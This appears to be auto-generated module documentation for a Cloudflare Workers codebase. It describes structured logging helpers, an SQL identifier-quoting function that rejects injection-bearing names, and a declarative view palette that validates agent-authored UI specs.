The [observability] block in wrangler.toml turns on Workers Logs, which ingests every console.* line for 7 days AND (invocation_logs) attaches the per-request envelope — method, url, status, outcome, ray id — automatically. So a log site only emits the EVENT plus its own context; request identity is never re-derived here.

This is the ONE home for log SHAPE: every sink emits a single JSON object with a stable event key (so the dashboard can group/filter by it) plus an error/stack when a throwable is attached. Use logError at a caught failure worth investigating; logWarn for a degraded-but-handled path (a swallowed side effect, a fallback taken, a capability unavailable) that would otherwise vanish silently. Keep event a short stable slug (mutate.write_failed, prime.embed_failed), not a sentence.

logErrorfunction

A caught failure worth investigating. err is the throwable (serialized to message/name/stack); fields add structured context (ids, the op, the path).

logWarnfunction

A degraded-but-handled path that must not vanish silently (a swallowed side-effect failure, a fallback taken, an optional capability unavailable).

sql.tsshared/core/sql.ts

=== SQL identifier chokepoint ===

why

The ONE transition map: raw string → SQL identifier. Values are always bound (?); identifiers (table/column/facet names) can't be bound, so they're interpolated as double-quoted identifiers ("name"). That interpolation is the one injection escape in the engine. This module fuses validation and quoting into a single call so the boundary can't be half-crossed: a caller can't quote without validating, and a raw unvalidated identifier physically can't reach SQL through it. Upstream semantic checks (facetMeta / isValidColumn / patternExists / KERNEL_COLUMN_SET) STAY — quoteIdent is defense-in-depth beneath them, the fail-closed last line. An injection-bearing identifier (quotes, spaces, semicolons, --) doesn't match the grammar and THROWS here, even if every upstream check were forgotten.

imports constants.ts
quoteIdentfunction

Validate name against the canonical identifier grammar (IDENTIFIER_RE) and return it as a SQLite double-quoted identifier ("name"). Throws on any name that doesn't match — the grammar admits pattern names, facet names, and the snake_case kernel columns (created_by/updated_at/…), and nothing else.

Use this for EVERY SQL identifier interpolation. Never interpolate a raw "${name}" into SQL.

text.d.tsshared/core/text.d.ts
view-palette.tsshared/core/view-palette.ts

The view palette — the single declarative home for the UI shapes an agent can author for a pattern. This is the SSOT the rest of the system derives from: - schema.ts derives the _views view_type enum + the agent-facing contract (describeViewPalette) from it - kernel.ts validates every _views write against it (validateViewSpec), fail-closed at the mutate chokepoint - the web SPA dispatches to a component keyed by these same ids, and a compile-time Record<ViewTypeId, …> totality check binds the two

Pure data — bundled into BOTH the worker (server) and the React SPA (client). The only import is its sibling format-palette (also pure data, no env deps): every view may carry a universal formats override map, validated against it.

imports format-palette.ts, chart-spec.ts
ConfigKeyinterface
ViewTypeinterface
VIEW_PALETTEconst

The palette. Add a view type here and the enum, the agent contract, and the validator all pick it up; the client won't compile until it has a matching component (Record<ViewTypeId, …>). One table, derive the rest.

isViewTypefunction
describeViewPalettefunction

Agent-facing prose, generated from the palette so the contract can never drift from what the validator enforces. Embedded in the _views schema description.

ValidateOptsinterface
validateViewSpecfunction

Validate a view spec against the palette and, when the target pattern's facets are known, against those facets. hasFacet null = pattern unknown (e.g. a partial update that doesn't carry the pattern) → facet-existence checks are skipped, structural checks still run. Returns [] when valid.

OAUTH_KVinfra
VECTORIZEinfra
AIinfra
+